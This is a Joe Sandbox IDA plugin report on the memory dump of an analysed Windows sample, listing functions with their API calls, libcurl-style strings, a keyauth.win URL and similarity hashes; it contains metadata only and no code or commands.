Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _time64
String ID: Connection time-out$gfff$gfff$set timeouts for state %d; Total %ld, retry %d maxtry %d
API String ID: 1670930206-870032562
Opcode ID: 816daf6425511fafc4144085c150fa208d6ed39076a45b0587e0b95dc59eac6e
Instruction ID: c9356d16446bb66cc0db7eb64bfed7d2799bf634e454435096448a9be3628408
Opcode Fuzzy Hash: 816daf6425511fafc4144085c150fa208d6ed39076a45b0587e0b95dc59eac6e
Instruction Fuzzy Hash: A241A276B1465986DB34DF3EE040568A7A4F79CB88F905133DE0C87BA4DE39E681CB40

Function 00007FF79B713F90 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B714076
strchr.VCRUNTIME140 ref: 00007FF79B714089
strchr.VCRUNTIME140 ref: 00007FF79B71409B

Strings

100-continue, xrefs: 00007FF79B7140B6
Expect, xrefs: 00007FF79B713FF7
Expect: 100-continue, xrefs: 00007FF79B7140F8
Expect:, xrefs: 00007FF79B71401E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr
String ID: 100-continue$Expect$Expect:$Expect: 100-continue
API String ID: 2830005266-711804848
Opcode ID: 9df210bce6356ebbc1900224a2991696d1098ea7454d5676cb9223a8ecd7a2ea
Instruction ID: b9644dc83a661068a2442034d06fc5ca301874243a4e93411c75ac11b1766693
Opcode Fuzzy Hash: 9df210bce6356ebbc1900224a2991696d1098ea7454d5676cb9223a8ecd7a2ea
Instruction Fuzzy Hash: 7D41DD2170C68A85EA74EB3EA4411B8E391DF8EB84F88017ADA4D07776DD1DE7458B30

Function 00007FF79B70C360 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 106COMMON

Download Yara Rule

APIs

fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B70C4AA

Strings

Cannot rewind mime/post data, xrefs: 00007FF79B70C4E0
necessary data rewind wasn't possible, xrefs: 00007FF79B70C4B5
ioctl callback returned error %d, xrefs: 00007FF79B70C46F
seek callback returned error %d, xrefs: 00007FF79B70C3FE
the ioctl callback returned %d, xrefs: 00007FF79B70C455

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: fseek
String ID: Cannot rewind mime/post data$ioctl callback returned error %d$necessary data rewind wasn't possible$seek callback returned error %d$the ioctl callback returned %d
API String ID: 623662203-959247533
Opcode ID: 42c73441279c7bc3c13bc8b1da7d29b7dc595c7bd794b2308826b465c98e32a3
Instruction ID: cbe5ff955e5f5fb5dbf3f9eca013ae7aa7b4af98b5175514d59d7743d6fa1281
Opcode Fuzzy Hash: 42c73441279c7bc3c13bc8b1da7d29b7dc595c7bd794b2308826b465c98e32a3
Instruction Fuzzy Hash: 9341A961B1864942F764EF3D98443B857A2FB88B94F881133DE0D4B7B9DE3DE5858720

Function 00007FF79B737D0E Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
GMT, xrefs: 00007FF79B737D64
Signature, xrefs: 00007FF79B7380CF
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF79B737DA4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Signature
API String ID: 2190258309-3662781045
Opcode ID: 3423c50565629b261c04f200d569919f8545122c186ea242b1492fb3335ace71
Instruction ID: 84f55272227b6dc52f27e7f215e7bc58fb181ee7609899c71155552353ff6282
Opcode Fuzzy Hash: 3423c50565629b261c04f200d569919f8545122c186ea242b1492fb3335ace71
Instruction Fuzzy Hash: D9417262A09A8A91EA31AB39E4401B9E3A1FB49794FD40633DA4D07775DF3CD649C720

Function 00007FF79B736AD1 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 99COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

%s%lx, xrefs: 00007FF79B736B26
Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%s%lx$Serial Number$Signature Algorithm
API String ID: 1294909896-659367561
Opcode ID: 3a79513afe6aea4f96036019143dff1e5783e73f1d6728b543c147c9c275da5b
Instruction ID: d2f220f552758375885f21d15c383dcdb491c7bffc764abaa295e5fca99f066b
Opcode Fuzzy Hash: 3a79513afe6aea4f96036019143dff1e5783e73f1d6728b543c147c9c275da5b
Instruction Fuzzy Hash: D2417551B0D78A45EE35AB7DA4441F9A7A2AB0D784FC44A37DE0E07776DE3DE2488320

Function 00007FF79B71FE10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71FE4D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71FEBE

Strings

., xrefs: 00007FF79B71FEB7

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: .
API String ID: 1865132094-916926321
Opcode ID: 56123e3a473889bf9ea8c9488b22fdc8ba33d670e3acbcf3f2f06b941ca91a8c
Instruction ID: d20479b5bb1fb2ecce9331cc76d53c3938c0468ff84f5fb250ef361e065290e5
Opcode Fuzzy Hash: 56123e3a473889bf9ea8c9488b22fdc8ba33d670e3acbcf3f2f06b941ca91a8c
Instruction Fuzzy Hash: F241B722A08B4986E630EB399800279F294FB8DB50F844633EA0D4B675DF7CF6458370

Function 00007FF79B736DDE Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 95COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736E0F
memcpy.VCRUNTIME140 ref: 00007FF79B736E3A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: 460a80e6cf153cb36f8422525b8caca0178bcd542308400b50d5b32dc07c46c2
Instruction ID: 4de267b69073b2e6fc05af6999bff25ab4433e8734b669d98350600b33457f98
Opcode Fuzzy Hash: 460a80e6cf153cb36f8422525b8caca0178bcd542308400b50d5b32dc07c46c2
Instruction Fuzzy Hash: 93417291B0978A45EB25AB7DA4441B9A762BF09B88FC44637CD0E1B775DE3CE7488320

Function 00007FF79B730430 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B71BF40: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF68
Part of subcall function 00007FF79B71BF40: GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF8E
Part of subcall function 00007FF79B71BF40: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFAF
Part of subcall function 00007FF79B71BF40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFC0

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7304CF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B730518
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B730521

Strings

%s%s_netrc, xrefs: 00007FF79B7304E4
HOME, xrefs: 00007FF79B730469
%s%s.netrc, xrefs: 00007FF79B73048F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$realloc$EnvironmentVariable
String ID: %s%s.netrc$%s%s_netrc$HOME
API String ID: 4174189579-3384076093
Opcode ID: 54c11f7cbaf3faf9c12b184cb10970793f3f21641160a230d0a02d4eafe50fe1
Instruction ID: b1978b59654e545a93ca20bebcf37a38899d6d0fd904faacb3daa367e3220925
Opcode Fuzzy Hash: 54c11f7cbaf3faf9c12b184cb10970793f3f21641160a230d0a02d4eafe50fe1
Instruction Fuzzy Hash: 48316521A09B4991DA30EB3AB84056AE2A5BF4CFD4F840233ED4D47775EF3CE6498720

Function 00007FF79B737F5D Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737F98
memcpy.VCRUNTIME140 ref: 00007FF79B737FBE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$memcpy
String ID: Signature: %s$Signature
API String ID: 3519880569-1663925961
Opcode ID: fb3880e822f44cd4eb53f69da3d9ae151aad4d879054bdaf5fecb74b28bac563
Instruction ID: 4135f87b73ed3b90716ef32f3de3f6a9dfb420870946a58ae5da8b7aeacf14b5
Opcode Fuzzy Hash: fb3880e822f44cd4eb53f69da3d9ae151aad4d879054bdaf5fecb74b28bac563
Instruction Fuzzy Hash: DA31A965B0978641EE75AB39A4442B9E391BF8DBD4F840633CE5D07775EE3CD2458310

Function 00007FF79B71E936 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6FAB20: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FAB64

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71E974
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71E986

Strings

Select failed, xrefs: 00007FF79B71EA18
OK [UIDVALIDITY %19[0123456789]], xrefs: 00007FF79B71E958
Mailbox UIDVALIDITY has changed, xrefs: 00007FF79B71E9BE

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: __stdio_common_vsscanf_strdupfree
String ID: Mailbox UIDVALIDITY has changed$OK [UIDVALIDITY %19[0123456789]]$Select failed
API String ID: 860312144-3309259123
Opcode ID: 5a4ee0cb38acc090a0fbedc4f51c1d267081722fb7daa94e28cba8e938d1c70d
Instruction ID: 93873d3fc3ceabbfdcd6c78beb4cfe1ae4228d4134eda76c3399dcbf40379333
Opcode Fuzzy Hash: 5a4ee0cb38acc090a0fbedc4f51c1d267081722fb7daa94e28cba8e938d1c70d
Instruction Fuzzy Hash: D0314C32E0D65A86EA74FB3894401B9A361BB88794FD00633CA4E17271DF2CEA528371

Function 00007FF79B737068 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73709C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

TRUE, xrefs: 00007FF79B73708A
FALSE, xrefs: 00007FF79B737091
Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: Start Date: %s$FALSE$Start Date$TRUE
API String ID: 1865132094-176635895
Opcode ID: ae907500a812d25586cfa41279ce18986c9e2021419cb2cd90361f473d061923
Instruction ID: ae96c2af4901774cc3e752089c9de52a9c23d71a7231d45199bed27e8af761de
Opcode Fuzzy Hash: ae907500a812d25586cfa41279ce18986c9e2021419cb2cd90361f473d061923
Instruction Fuzzy Hash: CB216292A096CA95EB359B39A4446B5A762BB09B94FC44633CA4D07775DF3CE2888320

Function 00007FF79B737CE5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B737CE8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: Signature: %s$Signature
API String ID: 1941130848-1663925961
Opcode ID: a68dbb86ef700e451aeb603a4cad13e7e7929bfbccc6980a137ba8f38b9cdaa9
Instruction ID: 20eaee53e4b7fa641441fff3ae8989a537b35292948e8982cff171a37864d7f6
Opcode Fuzzy Hash: a68dbb86ef700e451aeb603a4cad13e7e7929bfbccc6980a137ba8f38b9cdaa9
Instruction Fuzzy Hash: 21214866A08A8682EA719B39A4442AAA365FF89794F840533DE4D17735DF3CD245C710

Function 00007FF79B6FF050 Relevance: 10.0, APIs: 8, Instructions: 33COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF061
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF071
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF07F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF08D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF09B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0B7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B702856), ref: 00007FF79B6FF0C5

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 8c00d13d1d1400f5b02d6f8230e4e97fdd4fc61512994be1568aed62c2dc6e4e
Instruction ID: a3ca7a1e9906470742ae05e44174b70f799d49b157ea31fb12b135aa7f5aa50e
Opcode Fuzzy Hash: 8c00d13d1d1400f5b02d6f8230e4e97fdd4fc61512994be1568aed62c2dc6e4e
Instruction Fuzzy Hash: 20018336508B05C2D714AF35E9D513CB3B4FB8CF997901226CE9E42728CF78D5A9C260

Function 00007FF79B6EEE20 Relevance: 9.3, APIs: 6, Instructions: 273COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B6EEF1C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EEF9D
memcpy.VCRUNTIME140 ref: 00007FF79B6EEF2F

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6EEFAA
memcmp.VCRUNTIME140 ref: 00007FF79B6EF03D
memcmp.VCRUNTIME140 ref: 00007FF79B6EF0C1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcmpmemcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 2846809682-0
Opcode ID: 49b5f4042f119bf13c2d0537c53921af1756849f60883125eca213191498a486
Instruction ID: b3b8f7c6ea0f4c4d436870496aa410c98988737038907266a2d73b0c83ff19cf
Opcode Fuzzy Hash: 49b5f4042f119bf13c2d0537c53921af1756849f60883125eca213191498a486
Instruction Fuzzy Hash: 46A1F822604A8986EB20EF69D444269A362FB48BD4F944535DFAD077E5DF3DF2A1C310

Function 00007FF79B702120 Relevance: 9.2, APIs: 6, Instructions: 161COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF79B70299B), ref: 00007FF79B702137
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF79B70299B), ref: 00007FF79B702168

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: bc82dee56741fcdb2a61ea5e49477a01e532ce5743e5ef1c6ec771a3a7dfbefc
Instruction ID: 42a5d42ad82b417315087a6eb5c044c29bfab0ea94d5e297b36238387a93bf89
Opcode Fuzzy Hash: bc82dee56741fcdb2a61ea5e49477a01e532ce5743e5ef1c6ec771a3a7dfbefc
Instruction Fuzzy Hash: 67917026609BC589D7559F7898403A9B7A0F759B28F480336CFAC073E5DF2992A4C731

Function 00007FF79B7373DC Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73741F
memcpy.VCRUNTIME140 ref: 00007FF79B737445
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737518
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Start Date: %s$Start Date
API String ID: 3401966785-2389359183
Opcode ID: 43c8fc675016b9b2ceeb9040cc625f4d7a15d27ad60510833526c650f4f11900
Instruction ID: 00fb78a2960e6083e806b3f73b46982c720e3170818dcfc2745f80c377fe3140
Opcode Fuzzy Hash: 43c8fc675016b9b2ceeb9040cc625f4d7a15d27ad60510833526c650f4f11900
Instruction Fuzzy Hash: EE416A51A092CA52EF3C673D9054679AB52EB0DBA1F844737CA2F077F1ED2CE2488320

Function 00007FF79B6E4EB0 Relevance: 9.1, APIs: 6, Instructions: 111COMMON

Download Yara Rule

APIs

